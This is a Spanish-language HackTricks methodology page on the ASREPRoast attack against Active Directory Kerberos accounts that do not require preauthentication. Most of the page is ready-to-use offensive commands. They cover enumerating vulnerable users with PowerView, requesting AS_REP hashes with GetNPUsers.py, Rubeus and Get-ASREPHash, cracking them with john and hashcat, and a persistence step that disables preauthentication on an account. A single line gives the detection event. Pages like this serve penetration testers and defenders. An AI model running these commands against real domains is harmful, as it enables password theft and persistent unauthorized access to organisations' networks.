hacktricks/windows-hardening/active-directory-methodology/asreproast.md
2023-06-03 01:46:23 +00:00

4.3 KiB

ASREPRoast

El ataque ASREPRoast busca usuarios sin el atributo de requerimiento de preautenticación de Kerberos (DONT_REQ_PREAUTH).

Esto significa que cualquier persona puede enviar una solicitud AS_REQ al DC en nombre de cualquiera de esos usuarios y recibir un mensaje AS_REP. Este último tipo de mensaje contiene un fragmento de datos cifrado con la clave de usuario original, derivada de su contraseña. Luego, utilizando este mensaje, la contraseña del usuario podría ser descifrada sin conexión.

Además, no se necesita una cuenta de dominio para realizar este ataque, solo la conexión al DC. Sin embargo, con una cuenta de dominio, se puede utilizar una consulta LDAP para recuperar usuarios sin preautenticación de Kerberos en el dominio. De lo contrario, los nombres de usuario deben ser adivinados.

Enumeración de usuarios vulnerables (se necesitan credenciales de dominio)

Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView

Solicitar mensaje AS_REP

{% code title="Usando Linux" %}

#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast

{% code title="Usando Windows" %}

.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)

{% endcode %}

{% hint style="warning" %} El robo de AS-REP con Rubeus generará un evento 4768 con un tipo de cifrado de 0x17 y un tipo de preautenticación de 0. {% endhint %}

Descifrando

john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt 

Persistencia

Forzar que no se requiera preauth para un usuario en el que se tienen permisos de GenericAll (o permisos para escribir propiedades):

Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose

Referencias

Más información sobre el robo de AS-RRP en ired.team

Sigue a HackenProof para aprender más sobre errores web3

🐞 Lee tutoriales sobre errores web3

🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores

💬 Participa en discusiones de la comunidad

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥